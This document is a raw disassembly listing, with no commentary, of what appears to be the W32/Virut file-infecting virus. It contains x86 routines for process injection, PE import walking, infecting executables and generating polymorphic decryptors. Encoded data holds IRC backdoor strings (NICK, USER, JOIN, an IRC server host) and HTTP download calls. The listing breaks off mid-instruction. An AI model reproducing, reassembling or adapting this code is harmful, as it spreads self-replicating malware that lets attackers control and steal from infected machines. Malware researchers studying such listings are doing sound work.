[ebp+40364Eh] mov ecx, edi push 0 neg cl push dword ptr [eax+4] and ecx, 3 push 40h add edi, ecx push edi push 0 push 18h lea esi, [ebp+40159Fh] mov ecx, 1Ch mov edx, esp lea eax, ds:0FFFFFFFEh[ecx*2] stosw lea eax, ds:0[ecx*2] stosw lea eax, [edi+4] stosd xor ah, ah loc_4FA296: ; CODE XREF: sub_4F9FE9+2B0j lodsb stosw loop loc_4FA296 push 0 push 69CEh mov ecx, esp push 0 mov eax, esp push 0 push 8000000h push 40h push ecx push edx push 0Eh push eax call dword ptr [ebp+4035E0h] pop eax add esp, 40h push 69CEh mov edx, esp push 0 mov ecx, esp push 40h push 0 push 2 push edx push 0 push 69CEh push 0 push ecx push 0FFFFFFFFh push eax call dword ptr [ebp+4035E4h] pop edi pop ecx test edi, edi jz loc_4FA016 lea esi, sub_401000[ebp] mov ecx, 0A74h mov ebp, edi rep movsd sub ebp, offset sub_401000 lea eax, [ebp+40144Ch] jmp eax ; END OF FUNCTION CHUNK FOR sub_4F9FE9 ; --------------------------------------------------------------------------- db 8Dh ; db 95h, 0E0h, 18h db 40h ; @ align 2 dw 0FF52h db 95h ; dd offset loc_403598+4 db 0E8h, 16h, 0 db 0 align 2 aLookupprivil_0 db 'LookupPrivilegeValueA',0 dd 4895FF50h, 89004035h, 40354C85h, 6A545000h, 0FFFF6A20h dd 4035EC95h, 5FC08500h, 6A963F75h, 8B565602h, 52016AD4h dd 11E8h, 44655300h, 67756265h, 76697250h, 67656C69h, 0FF560065h dd 40354C95h, 56C48B00h, 56505656h, 0D095FF57h, 83004035h dd 0FF5710C4h, 40353C95h, 6A006A00h, 7095FF02h, 0B9004035h dd 128h, 89E12B97h, 5754240Ch, 35AC95FFh, 0F6330040h, 363CA583h dd 54000040h, 0B095FF57h, 85004035h, 465C74C0h, 7204FE83h dd 2474FFEEh, 6A006A08h, 0A895FF2Ah, 85004035h, 93DC74C0h dd 43DE8h, 91C93300h, 853930E3h, 40363Ch, 0C1812875h, 0DAEh dd 56505450h, 53505051h, 356895FFh, 0C0850040h, 0FF0F7459h dd 8F082474h, 40363C85h, 0FDACE800h, 0FF53FFFFh, 40353C95h dd 8198EB00h, 128C4h, 95FF5700h, 40353Ch, 0FFFBE5E9h, 498DFFh dd 585858h, 29CEh, 0D65h, 3 dup(0) ; =============== S U B R O U T I N E ======================================= sub_4FA44C proc near ; CODE XREF: sub_4F9FE9+100p ; sub_4F9FE9+218p ... push ecx push esi push ebx call dword ptr ss:loc_403548[ebp] stosd pop ecx loc_4FA457: ; CODE XREF: sub_4FA44C+Ej lodsb test al, al jnz short loc_4FA457 loop sub_4FA44C retn sub_4FA44C endp ; --------------------------------------------------------------------------- aBasenamedobjec db '\BaseNamedObjects\W32_Virtu',0 aLstrlen db 'lstrlen',0 aCreatefilea_0 db 'CreateFileA',0 aCreatefilemapp db 'CreateFileMappingA',0 aCreateprocessa db 'CreateProcessA',0 aCreateremoteth db 'CreateRemoteThread',0 aCreatethread db 'CreateThread',0 aCreatetoolhe_0 db 'CreateToolhelp32Snapshot',0 aExitthread_0 db 'ExitThread',0 aFiletimetosyst db 'FileTimeToSystemTime',0 aGetfileattribu db 'GetFileAttributesA',0 aGetfilesize db 'GetFileSize',0 aGetfiletime db 'GetFileTime',0 aGetmodulehan_0 db 'GetModuleHandleA',0 aGettempfilenam db 'GetTempFileNameA',0 aGettemppatha db 'GetTempPathA',0 aGetversion db 'GetVersion',0 aGetversionex_0 db 'GetVersionExA',0 aLoadlibrarya_0 db 'LoadLibraryA',0 aMapviewoffile db 'MapViewOfFile',0 aOpenfilemappin db 'OpenFileMappingA',0 aOpenprocess db 'OpenProcess',0 aProcess32fir_0 db 'Process32First',0 aProcess32nex_0 db 'Process32Next',0 aSetfileattri_0 db 'SetFileAttributesA',0 aSetfiletime db 'SetFileTime',0 aSleep db 'Sleep',0 aSystemtimetofi db 'SystemTimeToFileTime',0 aUnmapviewoffil db 'UnmapViewOfFile',0 aVirtualalloc db 'VirtualAlloc',0 aWritefile_0 db 'WriteFile',0 aNtadjustprivil db 'NtAdjustPrivilegesToken',0 aNtcreatefile db 'NtCreateFile',0 aNtcreateproces db 'NtCreateProcess',0 aNtcreateproc_0 db 'NtCreateProcessEx',0 aNtcreatesectio db 'NtCreateSection',0 aNtmapviewofsec db 'NtMapViewOfSection',0 aNtopenfile db 'NtOpenFile',0 aNtopenprocesst db 'NtOpenProcessToken',0 aNtprotectvirtu db 'NtProtectVirtualMemory',0 aNtwritevirtual db 'NtWriteVirtualMemory',0 aRtlunicodestri db 'RtlUnicodeStringToAnsiString',0 aWsastartup_0 db 'WSAStartup',0 aClosesocket_0 db 'closesocket',0 aConnect_0 db 'connect',0 aGethostbynam_0 db 'gethostbyname',0 aRecv_0 db 'recv',0 aSend_1 db 'send',0 aSocket_0 db 'socket',0 aInternetclos_0 db 'InternetCloseHandle',0 aInternetgetc_1 db 'InternetGetConnectedState',0 aInternetopen_0 db 'InternetOpenA',0 aInternetopen_1 db 'InternetOpenUrlA',0 aInternetread_0 db 'InternetReadFile',0 aAdvapi32_dll_0 db 'ADVAPI32.DLL',0 aRegclosekey_0 db 'RegCloseKey',0 aRegopenkeyex_0 db 'RegOpenKeyExA',0 aRegqueryvalu_0 db 'RegQueryValueExA',0 aRegsetvaluee_0 db 'RegSetValueExA',0 ; =============== S U B R O U T I N E ======================================= sub_4FA7E7 proc near ; CODE XREF: .XPack:004FA88Ep ; .XPack:004FA89Fp ... var_5 = byte ptr -5 sub ecx, 5 sub ecx, eax push ecx push 0E8000000h lea ecx, [esp+8+var_5] push 0 push 5 push ecx push eax push ebx push 5 mov ecx, esp push eax mov edx, esp push eax push esp push 40h push ecx push edx push ebx call dword ptr ss:loc_4035F0[ebp] add esp, 0Ch call dword ptr [ebp+4035F4h] add esp, 8 retn sub_4FA7E7 endp ; --------------------------------------------------------------------------- push edi lea eax, loc_4015B1[ebp] xor edi, edi push eax push 0 push 0Eh call dword ptr ss:loc_4035A4[ebp] test eax, eax jz loc_4FA8CA push eax push 69CEh mov edx, esp push 0 mov ecx, esp push 40h push 100000h push 2 push edx push 0 push 69CEh push 0 push ecx push ebx push eax call dword ptr [ebp+4035E4h] pop edi pop ecx call dword ptr ss:loc_40353C[ebp] test edi, edi jz short loc_4FA8CA mov ecx, [ebp+401588h] jecxz short loc_4FA882 lea edx, sub_401000[ebp] add edx, ecx push edi push ebx call edx loc_4FA882: ; CODE XREF: .XPack:004FA874j mov eax, [ebp+4035D4h] lea ecx, [edi+2394h] call sub_4FA7E7 mov eax, [ebp+4035E8h] lea ecx, [edi+23E1h] call sub_4FA7E7 mov eax, [ebp+4035D8h] lea ecx, [edi+23E8h] call sub_4FA7E7 mov eax, dword ptr ss:loc_4035DC[ebp] test eax, eax jz short loc_4FA8CA lea ecx, [edi+23F5h] call sub_4FA7E7 loc_4FA8CA: ; CODE XREF: .XPack:004FA834j ; .XPack:004FA86Cj ... mov eax, edi pop edi retn ; --------------------------------------------------------------------------- push ebp call $+5 pop ebp sub ebp, offset loc_401A14 xor ecx, ecx lea eax, [ebp+401DAEh] push ecx push esp push ecx push ecx push eax push ecx push ecx call dword ptr ss:loc_40356C[ebp] xchg eax, [esp] call dword ptr ss:loc_40353C[ebp] pop ebp retn 4 ; --------------------------------------------------------------------------- db 55h, 0E8h, 0 dd 5D000000h, 1A43ED81h, 0FF6A0040h, 1A0E958Dh, 52500040h dd 2420CDh, 0C483002Ah, 85C7660Ch, 401A54h, 85C720CDh dd 401A56h, 2A0024h, 16AC35Dh, 33FF016Ah, 0FF0473FFh, 74C08515h dd 0B68F0h, 0D08B0000h, 3C50035Bh, 1A72B58Dh, 0BA8B0040h dd 10Ch, 1088A8Bh, 0F8030000h, 8B60CB2Bh, 61A6F3CBh, 0E2470574h dd 83C2EBF5h, 8B570FC7h, 0CC8B53D4h, 406A5450h, 0FF6A5251h dd 35F095FFh, 0C4830040h, 74958B0Ch, 2B004035h, 7EA83D7h dd 6A07C7h, 578900E8h, 1A6AC303h, 9E858h, 428D0000h, 0C9FEAA61h db 75h, 0F0h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_4FA9AF proc near ; CODE XREF: sub_4FB21A+1Bp ; sub_4FB392+3p ... imul edx, dword ptr ss:loc_403646[ebp], 8088405h inc edx mov dword ptr ss:loc_403646[ebp], edx mul edx retn sub_4FA9AF endp ; --------------------------------------------------------------------------- db 55h dd 0E8h, 0ED815D00h, 401B09h, 364A9D8Bh, 7C830040h, 0F000824h dd 0B984h, 8EC8100h, 54000002h, 10468h, 9095FF00h, 8B004035h dd 24848DFCh, 104h, 0E8006A50h, 4, 545256h, 8C95FF57h dd 33004035h, 4978DC9h, 51000001h, 51026A51h, 68016Ah dd 52400000h, 355C95FFh, 85960040h, 505B74F6h, 1046854h dd 0FF570000h, 22024B4h, 95FF0000h, 403628h, 74C08559h dd 5014E316h, 6AD48Bh, 56575152h, 35CC95FFh, 85590040h dd 56D075C0h, 353C95FFh, 578D0040h, 6A575244h, 978D5844h dd 104h, 6AC033ABh, 0ABF35910h, 50505050h, 52505050h, 356495FFh dd 0C4810040h, 208h, 82474FFh, 361895FFh, 0FF530040h, 40361895h dd 4C25D00h, 0A3E8000h, 8B460175h, 4015848Dh, 8D19E300h dd 40100095h, 56D10300h, 0C084D2FFh, 11F880Fh, 840F0000h dd 110h, 753A3E80h, 3E804610h, 1840F00h, 80000001h, 0F175203Eh dd 503E8146h, 75474E49h, 0C6CF8B42h, 2B4F0146h, 6A51CEh dd 0FF535651h, 40361095h, 0C13B5900h, 0DF850Fh, 858D0000h dd 401DA2h, 0C68006Ah, 50000000h, 1095FF53h, 3D004036h dd 0Ch, 0BF850Fh, 0B1E90000h, 81000000h, 4952503Eh, 0A5850F56h dd 83000000h, 3CAC08C6h, 99840F0Dh, 3C000000h, 0ACF37520h dd 850F3A3Ch, 8Ch, 20200DADh, 213D2020h, 75746567h, 203CAC7Fh dd 7E817C75h, 746820FFh, 81717574h, 3A70037Eh, 68752F2Fh dd 0FF47C6h, 10BA310Fh, 0F7000027h, 95FF52E2h, 4035BCh dd 5050C033h, 9E85050h, 44000000h, 6C6E776Fh, 64616Fh dd 362095FFh, 0C0850040h, 0C9333674h, 364A8589h, 68510040h dd 80000200h, 50565151h, 362495FFh, 958D0040h, 401B03h dd 54C93350h, 51525051h, 6C95FF51h, 87004035h, 95FF2404h dd 40353Ch, 8D80C3F8h, 401577h, 53C3F901h, 5754464Fh, 5C455241h dd 7263694Dh, 666F736Fh, 69575C74h, 776F646Eh, 75435C73h dd 6E657272h, 72655674h, 6E6F6973h, 7078455Ch, 65726F6Ch dd 61540072h, 74656772h, 74736F48h, 0FF000200h, 8F7255F0h dd 6F7270D0h, 2E6D6978h, 67637269h, 78616C61h, 6C702E79h dd 43494E00h, 6B76204Bh, 79696174h, 550A796Eh, 20524553h dd 30323061h, 20313035h, 202E202Eh, 4F4A2D3Ah, 26204E49h dd 74726976h, 0E8550A75h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 401DB4h mov byte ptr [ebp+401577h], 0 call dword ptr [ebp+403594h] shr eax, 1Fh jz short loc_4FACC9 push 1Eh mov esi, [ebp+403550h] pop ecx loc_4FAC96: ; CODE XREF: .XPack:loc_4FACC5j lodsb cmp al, 2Eh jnz short loc_4FACC5 cmp word ptr [esi], 1DFFh jnz short loc_4FACC5 lea edi, [ebp+403640h] mov esi, [esi+2] push edi movsd movsw lea eax, [ebp+40336Ah] pop dword ptr [ebp+403390h] cli mov [esi-6], eax mov word ptr [esi-2], cs sti mov cl, 1 loc_4FACC5: ; CODE XREF: .XPack:004FAC99j ; .XPack:004FACA0j loop loc_4FAC96 jmp short loc_4FAD0C ; --------------------------------------------------------------------------- loc_4FACC9: ; CODE XREF: .XPack:004FAC8Bj lea eax, loc_4015B1[ebp] push eax push 0 push 0Eh call dword ptr ss:loc_4035A4[ebp] cmp dword ptr [esp+8], 4 jnz short loc_4FAD0C call near ptr loc_4FACE9+1 push ebx inc esi inc ebx loc_4FACE9: ; CODE XREF: .XPack:004FACE1p add bh, bh xchg eax, ebp mov ds:48E80040h, dh cld ; --------------------------------------------------------------------------- db 0FFh dd 7E8FFh, 46530000h, 534F5F43h, 8895FF00h, 0E8004035h dd 0FFFFFC31h ; --------------------------------------------------------------------------- loc_4FAD0C: ; CODE XREF: .XPack:004FACC7j ; .XPack:004FACDFj call sub_4FA067 dec dword ptr [ebp+401303h] call near ptr loc_4FAD26+1 push ebp push ebx inc ebp push edx xor esi, [edx] db 2Eh inc esp dec esp dec esp loc_4FAD26: ; CODE XREF: .XPack:004FAD17p add bh, bh xchg eax, ebp pushf xor eax, 0AE80040h ; --------------------------------------------------------------------------- db 0 dd 73770000h, 6E697270h, 416674h, 4895FF50h, 89004035h dd 40355485h, 8D310F00h, 4018E08Dh, 46858900h, 51004036h dd 359C95FFh, 68930040h, 4, 18EDB58Dh, 8D590040h, 40362CBDh dd 0F6D6E800h, 0C766FFFFh, 401D6785h, 83F0FF00h, 401D69A5h dd 958D0000h, 401D27h, 16A5450h, 6852006Ah, 80000002h dd 363095FFh, 0C0850040h, 8D22755Ah, 401D5A8Dh, 66A5200h dd 1D67B58Dh, 56540040h, 52515050h, 363495FFh, 0FF580040h dd 40362C95h, 4D85C600h, 4038h, 0CE8h, 4F535700h, 32334B43h dd 4C4C442Eh, 9C95FF00h, 93004035h, 768h, 44B58D00h, 59004018h dd 35FCBD8Dh, 51E80040h, 0E8FFFFF6h, 0Ch, 494E4957h, 2E54454Eh dd 4C4C44h, 359C95FFh, 0C0850040h, 1E7840Fh, 68930000h dd 5, 1882B58Dh, 8D590040h, 403618BDh, 0F61AE800h, 0BD83FFFFh dd 40361Ch, 0C2840F00h, 81000001h, 190ECh, 1685400h, 0FF000001h dd 4035FC95h, 90C48100h, 50000001h, 6AD48Bh, 1C95FF52h dd 85004036h, 0D7559C0h, 138868h, 0BC95FF00h, 0EB004035h dd 69BD83E2h, 401Dh, 858D2975h, 401D6Dh, 895FF50h, 85004036h dd 3B840FC0h, 8B000001h, 8B0C40h, 858F30FFh, 401D69h, 384D85C6h dd 6A010040h, 6A016A00h, 1495FF02h, 83004036h, 840FFFF8h dd 112h, 65958D93h, 6A00401Dh, 0FF535210h, 40360495h, 0FC08500h dd 0F285h, 86BD8D00h, 0B100401Dh, 0FABCE808h, 9468FFFFh dd 5E000000h, 3489E62Bh, 95FF5424h, 403598h, 1D94BD8Dh dd 1B10040h, 0FFFA9DE8h, 24448BFFh, 8E0C110h, 424440Bh dd 0B08E0C1h, 50082444h, 5E8h, 362E2500h, 0FF570078h, 40355495h dd 0CC48300h, 200647C6h, 1D81958Dh, 6A0040h, 2168h, 0FF535200h dd 40361095h, 247C8D00h, 95FF5714h, 403558h, 0A3804C6h dd 50006A40h, 95FF5357h, 403610h, 0BD8DE603h, 401DA2h dd 0C68006Ah, 57000000h, 1095FF53h, 3D004036h, 0Ch, 0B58D4D75h dd 40364Eh, 384D8D8Dh, 0CE2B0040h, 5651006Ah, 0C95FF53h dd 83004036h, 2F7E00F8h, 8DFE8B91h, 40364EB5h, 0F20DB000h dd 601075AEh, 0FFFAF8E8h, 177261FFh, 778D09E3h, 8BEAEB01h dd 8DCE2BCFh, 40364EBDh, 87A4F300h, 53B9EBF7h, 360095FFh dd 0BD800040h, 401577h, 682A7401h, 7530h, 35BC95FFh, 0BD800040h dd 40384Dh, 0C7117400h, 401D6985h, 0 dd 4D85C600h, 4038h, 0FFFE56E9h, 8085C7FFh, 4015h, 5D800000h dd 0D0004C2h, 6E204F0Ah, 206E6F6Fh, 6C20666Fh, 21656669h dd 74204F20h, 20656D69h, 63206F74h, 62656C65h, 65746172h dd 200A0D21h, 20202020h, 7573204Fh, 72656D6Dh, 72616720h dd 216E6564h, 65520A0Dh, 746E656Ch, 7373656Ch, 6820796Ch dd 79707061h, 646E6120h, 70786520h, 61746365h, 202C746Eh dd 6E617473h, 676E6964h, 0D2D203Ah, 7461570Ah, 6E696863h dd 6C612067h, 6164206Ch, 6E612079h, 696E2064h, 2C746867h dd 726F6620h, 69726620h, 73646E65h, 77204920h, 3A746961h dd 68570A0Dh, 20657265h, 20657261h, 2C756F79h, 69726620h dd 73646E65h, 6F43203Fh, 2021656Dh, 69207449h, 69742073h dd 2021656Dh, 73277449h, 74616C20h, 0A0D2165h, 4CA2A1A8h dd 6299AD47h, 50B7AB4h, 4FD479EDh, 0A5FADA23h, 10A61429h dd 53AF69DFh, 27B1FAE5h, 0DB858B99h, 30C78404h, 3AAB5957h dd 606EF96Ah, 6F687A0Ah, 6980CE22h, 0D8AD0973h, 10A61413h dd 40375248h, 0C26CCC5Ch, 0D8B8B352h, 1A73C17Eh, 10F2086Dh dd 0Bh dup(0) ; =============== S U B R O U T I N E ======================================= sub_4FB164 proc near ; CODE XREF: sub_4FB1AB:loc_4FB208p ; sub_4FB26B+7p ... arg_0 = dword ptr 4 pusha and dword ptr [ebp+4039A6h], 0 and dword ptr ss:loc_4039AA[ebp], 0 movzx eax, word ptr [ebx+14h] lea edx, [ebx+18h] movzx ecx, word ptr [ebx+6] add edx, eax loc_4FB180: ; CODE XREF: sub_4FB164+41j mov eax, [esp+20h+arg_0] sub eax, [edx+0Ch] jb short loc_4FB1A2 cmp eax, [edx+8] jnb short loc_4FB1A2 mov eax, [edx+14h] sub eax, [edx+0Ch] mov [ebp+4039A6h], edx mov dword ptr ss:loc_4039AA[ebp], eax jmp short loc_4FB1A7 ; --------------------------------------------------------------------------- loc_4FB1A2: ; CODE XREF: sub_4FB164+23j ; sub_4FB164+28j add edx, 28h loop loc_4FB180 loc_4FB1A7: ; CODE XREF: sub_4FB164+3Cj popa retn 4 sub_4FB164 endp ; =============== S U B R O U T I N E ======================================= sub_4FB1AB proc near ; CODE XREF: .XPack:004FB4D7p ; .XPack:004FB4FDp mov [ebp+4022F7h], al call sub_4FB21A push 1Fh lea eax, [ebp+402224h] pop ecx loc_4FB1C2: ; CODE XREF: sub_4FB1AB+1Ej cmp [eax], ebx jz short loc_4FB1D2 add eax, 4 loop loc_4FB1C2 inc dword ptr ss:loc_40398E[ebp] retn ; --------------------------------------------------------------------------- loc_4FB1D2: ; CODE XREF: sub_4FB1AB+19j neg ecx add ecx, [ebp+4022F7h] jecxz short loc_4FB1EC loc_4FB1DC: ; CODE XREF: sub_4FB1AB+39j push dword ptr [eax-4] pop dword ptr [eax] sub eax, 4 loop loc_4FB1DC mov [ebp+402224h], ebx loc_4FB1EC: ; CODE XREF: sub_4FB1AB+2Fj ; sub_4FB21A+34j cmp dword ptr [edx], 0 jz short loc_4FB1F6 sub esi, [edx] add esi, [edx+10h] loc_4FB1F6: ; CODE XREF: sub_4FB1AB+44j lea ecx, [esi-4] pop eax pop ebx pop esi cmp dword ptr [edx], 0 jz short loc_4FB205 push dword ptr [edx] jmp short loc_4FB208 ; --------------------------------------------------------------------------- loc_4FB205: ; CODE XREF: sub_4FB1AB+54j push dword ptr [edx+10h] loc_4FB208: ; CODE XREF: sub_4FB1AB+58j call sub_4FB164 sub ecx, esi sub ecx, dword ptr ss:loc_4039AA[ebp] pop eax add ecx, [ebx+34h] retn sub_4FB1AB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4FB21A proc near ; CODE XREF: sub_4FB1AB+6p pop dword ptr [ebp+403992h] mov dword ptr ss:loc_40398E[ebp], 0 call sub_4FB26B mov eax, dword ptr ss:loc_40398E[ebp] call sub_4FA9AF call sub_4FB257 cmp dword ptr ss:loc_40398E[ebp], 0 jnz short loc_4FB250 mov [ebp+4022A0h], ebx jmp short loc_4FB1EC ; --------------------------------------------------------------------------- loc_4FB250: ; CODE XREF: sub_4FB21A+2Cj dec dword ptr ss:loc_40398E[ebp] retn sub_4FB21A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4FB257 proc near ; CODE XREF: sub_4FB21A+20p pop dword ptr [ebp+403992h] mov dword ptr ss:loc_40398E[ebp], edx call sub_4FB26B xor ecx, ecx retn sub_4FB257 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4FB26B proc near ; CODE XREF: sub_4FB21A+10p ; sub_4FB257+Cp ... var_C = dword ptr -0Ch var_4 = dword ptr -4 mov edx, [ebx+80h] push edx call sub_4FB164 add edx, dword ptr ss:loc_4039AA[ebp] add edx, esi loc_4FB27F: ; CODE XREF: sub_4FB26B+120j cmp dword ptr [edx+0Ch], 0 jz locret_4FB390 cmp dword ptr [edx+10h], 0 jz locret_4FB390 mov eax, [edx+0Ch] push eax call sub_4FB164 add eax, dword ptr ss:loc_4039AA[ebp] add eax, esi push eax loc_4FB2A5: ; CODE XREF: sub_4FB26B+47j mov cl, [eax] cmp cl, 0 jz short loc_4FB2C5 cmp cl, 2Eh jz short loc_4FB2B4 loc_4FB2B1: ; CODE XREF: sub_4FB26B+58j inc eax jmp short loc_4FB2A5 ; --------------------------------------------------------------------------- loc_4FB2B4: ; CODE XREF: sub_4FB26B+44j mov ecx, [eax+1] and ecx, 0DFDFDFDFh cmp ecx, offset dword_4C4C44 jnz short loc_4FB2B1 loc_4FB2C5: ; CODE XREF: sub_4FB26B+3Fj pop ecx sub ecx, eax cmp ecx, 0FFFFFFFAh jg loc_4FB388 cmp word ptr [eax-2], 3233h jnz loc_4FB388 push esi cmp dword ptr [edx], 0 jnz short loc_4FB2E8 mov ecx, [edx+10h] jmp short loc_4FB2EA ; --------------------------------------------------------------------------- loc_4FB2E8: ; CODE XREF: sub_4FB26B+76j mov ecx, [edx] loc_4FB2EA: ; CODE XREF: sub_4FB26B+7Bj add esi, ecx push ecx call sub_4FB164 add esi, dword ptr ss:loc_4039AA[ebp] loc_4FB2F8: ; CODE XREF: sub_4FB26B+90j ; sub_4FB26B+117j lodsd test eax, eax js short loc_4FB2F8 jz loc_4FB387 push dword ptr ss:loc_4039AA[ebp] push eax call sub_4FB164 add eax, dword ptr ss:loc_4039AA[ebp] pop dword ptr ss:loc_4039AA[ebp] add eax, [esp+4+var_4] push ebx add eax, 2 xor ebx, ebx loc_4FB324: ; CODE XREF: sub_4FB26B+CEj movzx ecx, byte ptr [eax] jecxz short loc_4FB33B or cl, 20h push ebx shl [esp+0Ch+var_C], 4 sub [esp+0Ch+var_C], ebx sub [esp+0Ch+var_C], ecx pop ebx inc eax jmp short loc_4FB324 ; --------------------------------------------------------------------------- loc_4FB33B: ; CODE XREF: sub_4FB26B+BCj cmp ebx, 0DDBBD70Fh jz short loc_4FB381 cmp ebx, 0DB6E45A8h jz short loc_4FB381 cmp ebx, 0FFA13B59h jz short loc_4FB381 cmp ebx, 0ACB522D6h jz short loc_4FB381 cmp ebx, 0F358E993h jz short loc_4FB381 cmp ebx, 0F358E97Dh jz short loc_4FB381 cmp ebx, 0E1253F46h jz short loc_4FB381 cmp ebx, 0E1253F30h jz short loc_4FB381 call dword ptr [ebp+403992h] loc_4FB381: ; CODE XREF: sub_4FB26B+D6j ; sub_4FB26B+DEj ... pop ebx jmp loc_4FB2F8 ; --------------------------------------------------------------------------- loc_4FB387: ; CODE XREF: sub_4FB26B+92j pop esi loc_4FB388: ; CODE XREF: sub_4FB26B+60j ; sub_4FB26B+6Cj add edx, 14h jmp loc_4FB27F ; --------------------------------------------------------------------------- locret_4FB390: ; CODE XREF: sub_4FB26B+18j ; sub_4FB26B+22j retn sub_4FB26B endp ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= sub_4FB392 proc near ; CODE XREF: .XPack:004FB4D0p ; .XPack:004FB4F6p push 4 pop eax call sub_4FA9AF mov byte ptr ss:loc_4024D1[ebp], dl mov ax, 1831h add ah, dl shl ah, 3 add ah, dl stosw push 6 pop eax call sub_4FA9AF add edx, 8 xchg edx, ecx loc_4FB3BA: ; CODE XREF: sub_4FB392:loc_4FB3F9j push 5 pop eax call sub_4FA9AF cmp dl, 3 jnb short loc_4FB3D2 mov al, 50h add al, byte ptr ss:loc_4024D1[ebp] stosb jmp short loc_4FB3F9 ; --------------------------------------------------------------------------- loc_4FB3D2: ; CODE XREF: sub_4FB392+33j push 68h pop eax stosb cmp dl, 3 jnz short loc_4FB3F3 mov al, 11h call sub_4FA9AF mov eax, 1 loc_4FB3E7: ; CODE XREF: sub_4FB392+5Dj test dl, dl jz short loc_4FB3F8 shl eax, 1 dec dl jmp short loc_4FB3E7 ; --------------------------------------------------------------------------- jmp short loc_4FB3F8 ; --------------------------------------------------------------------------- loc_4FB3F3: ; CODE XREF: sub_4FB392+47j mov eax, 80000000h loc_4FB3F8: ; CODE XREF: sub_4FB392+57j ; sub_4FB392+5Fj stosd loc_4FB3F9: ; CODE XREF: sub_4FB392+3Ej loop loc_4FB3BA retn sub_4FB392 endp ; --------------------------------------------------------------------------- loc_4FB3FC: ; CODE XREF: sub_4FBE56+112p lea edi, [ebp+40343Ch] test dword ptr [ebp+403431h], 80000000h jz short loc_4FB411 mov al, 60h stosb loc_4FB411: ; CODE XREF: .XPack:004FB40Cj test dword ptr [ebp+403431h], 1000003h jz loc_4FB517 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp call near ptr 0BDD95FD5h xchg eax, esi cmp [eax+0], eax mov al, 0E8h stosb stosd test dword ptr [ebp+403431h], 1000000h mov dword ptr ss:loc_40399A[ebp], edi jz short loc_4FB48F test dword ptr [ebp+403431h], 2000000h mov eax, 36FF6467h jnz short loc_4FB45A mov eax, 2E8B6467h loc_4FB45A: ; CODE XREF: .XPack:004FB453j stosd mov ax, 0 stosw jz short loc_4FB466 mov al, 5Dh stosb loc_4FB466: ; CODE XREF: .XPack:004FB461j test dword ptr [ebp+403431h], 8000000h mov eax, 86D8Dh jnz short loc_4FB48D test dword ptr [ebp+403431h], 4000000h mov eax, 8C583h jz short loc_4FB48D mov eax, 0F8ED83h loc_4FB48D: ; CODE XREF: .XPack:004FB475j ; .XPack:004FB486j stosd dec edi loc_4FB48F: ; CODE XREF: .XPack:004FB442j test dword ptr [ebp+403431h], 3 jz short loc_4FB49F mov al, 0E9h stosb stosd loc_4FB49F: ; CODE XREF: .XPack:004FB499j mov eax, [ebp+403996h] mov ecx, edi sub ecx, eax mov [eax-4], ecx test dword ptr [ebp+403431h], 3 jz short loc_4FB517 mov eax, 36FF6467h mov [ebp+40399Eh], edi stosd mov eax, 64670000h stosd mov eax, 2689h stosd call sub_4FB392 mov al, 20h call sub_4FB1AB jecxz short loc_4FB517 mov ax, 15FFh stosw xchg eax, ecx stosd mov edx, [ebp+403431h] not edx test edx, 3 jnz short loc_4FB50A call sub_4FB392 mov al, 1Fh call sub_4FB1AB mov ax, 15FFh stosw xchg eax, ecx stosd loc_4FB50A: ; CODE XREF: .XPack:004FB4F4j mov ecx, edi mov eax, [ebp+40399Eh] sub ecx, eax mov [eax-4], ecx loc_4FB517: ; CODE XREF: .XPack:004FB41Bj ; .XPack:004FB4B6j ... test dword ptr [ebp+403431h], 4 jz short loc_4FB535 mov eax, 0C8FEC029h stosd mov eax, 474C008h stosd mov eax, 67EBF875h stosd loc_4FB535: ; CODE XREF: .XPack:004FB521j test dword ptr [ebp+403431h], 8 jnz short loc_4FB58B cmp byte ptr [ebp+40342Fh], 0 jz short loc_4FB58B mov eax, 0C9291829h or ah, byte ptr ss:loc_40342B[ebp] shl ah, 3 or ah, byte ptr ss:loc_40342B[ebp] stosd mov al, 0B1h stosb mov al, [ebp+40342Fh] stosb mov al, 40h or al, byte ptr ss:loc_40342B[ebp] stosb mov ax, 0FDE2h test dword ptr [ebp+403431h], 10h jz short loc_4FB589 mov al, 49h stosb mov ax, 0FC75h loc_4FB589: ; CODE XREF: .XPack:004FB580j stosw loc_4FB58B: ; CODE XREF: .XPack:004FB53Fj ; .XPack:004FB548j mov al, 0E8h stosb xor eax, eax stosd mov [ebp+403982h], edi test dword ptr [ebp+403431h], 20h jnz short loc_4FB5AC mov al, 58h or al, byte ptr ss:loc_403429[ebp] stosb loc_4FB5AC: ; CODE XREF: .XPack:004FB5A1j mov ax, 0C081h test dword ptr [ebp+403431h], 40h jz short loc_4FB5BF add ah, 28h loc_4FB5BF: ; CODE XREF: .XPack:004FB5BAj or ah, byte ptr ss:loc_403429[ebp] stosw mov dword ptr ss:loc_403986[ebp], edi stosd test dword ptr [ebp+403431h], 40000000h jnz short loc_4FB5E3 mov al, 50h add al, byte ptr ss:loc_403429[ebp] stosb loc_4FB5E3: ; CODE XREF: .XPack:004FB5D8j test dword ptr [ebp+403431h], 80h jnz short loc_4FB5FA mov al, 0B8h or al, byte ptr ss:loc_40342A[ebp] stosb jmp short loc_4FB637 ; --------------------------------------------------------------------------- loc_4FB5FA: ; CODE XREF: .XPack:004FB5EDj mov ax, 1831h test dword ptr [ebp+403431h], 100h jz short loc_4FB60C mov al, 29h loc_4FB60C: ; CODE XREF: .XPack:004FB608j or ah, byte ptr ss:loc_40342A[ebp] shl ah, 3 or ah, byte ptr ss:loc_40342A[ebp] stosw mov ax, 0F081h test dword ptr [ebp+403431h], 200h jnz short loc_4FB62F mov ah, 0C8h loc_4FB62F: ; CODE XREF: .XPack:004FB62Bj or ah, byte ptr ss:loc_40342A[ebp] stosw loc_4FB637: ; CODE XREF: .XPack:004FB5F8j mov dword ptr ss:loc_4039A2[ebp], edi mov eax, 243Ch stosd test dword ptr [ebp+403431h], 8 jz short loc_4FB6BB test dword ptr [ebp+403431h], 400h jnz short loc_4FB666 mov al, 0B8h or al, byte ptr ss:loc_40342B[ebp] stosb jmp short loc_4FB6B3 ; --------------------------------------------------------------------------- loc_4FB666: ; CODE XREF: .XPack:004FB659j test dword ptr [ebp+403431h], 800h jnz short loc_4FB683 mov ax, 